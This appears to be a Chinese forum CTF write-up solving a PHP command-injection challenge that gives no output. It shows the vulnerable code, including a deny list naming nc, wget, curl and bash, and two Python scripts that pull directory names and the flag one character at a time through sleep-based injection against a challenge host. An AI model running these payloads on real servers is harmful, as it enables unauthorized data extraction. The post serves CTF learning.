【CTF】Linux下命令行注入无回显盲注wp
本帖最后由 孤樱懶契 于 2021-10-23 22:49 编辑# 前言
> 记录web的题目wp,慢慢变强,铸剑。
# 命令行之无回显注入web
```php
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
```
> **禁止了文件写入权限,所以tee已经无法使用,这里考虑用if和sleep来进行命令行盲注**
利用shell编程的if判断语句配合awk以及cut命令来获取flag
1、awk逐行获取数据
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211006092556115.png)
2、cut命令逐列获取单个字符第一行
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211006092655551.png)
3、利用条件判断语句是否执行
```
if [ $(cat flag.txt | awk NR==1 | cut -c 2) == l ]; then echo "got it";fi
php中`可以当exec使用
if [ `cat flag.txt | awk NR==1 | cut -c 2` == l ; then echo "got it";fi
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211007211803396.png)
4、写一个脚本判断根目录的名称
```
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io
import requests
import time
url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"
p_result = ""
for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `ls / | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)
p_result += " "
```
5、经过长时间的注入,发现flag的目录/f149_15_h3r3,接着改一下数值和命令直接拿flag,跑起来很慢,这点需要注意。
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io
import requests
url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"
p_result = ""
for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `cat /f149_15_h3r3 | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)
p_result += " "
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211007222132772.png)
板凳~~~已收藏楼主博客~~学习~ 今天又是学习的一天 收藏学习! 学习了,今天不学习,明天变lj! 学习学习 学习了学习了 支持技术开发
页:
[1]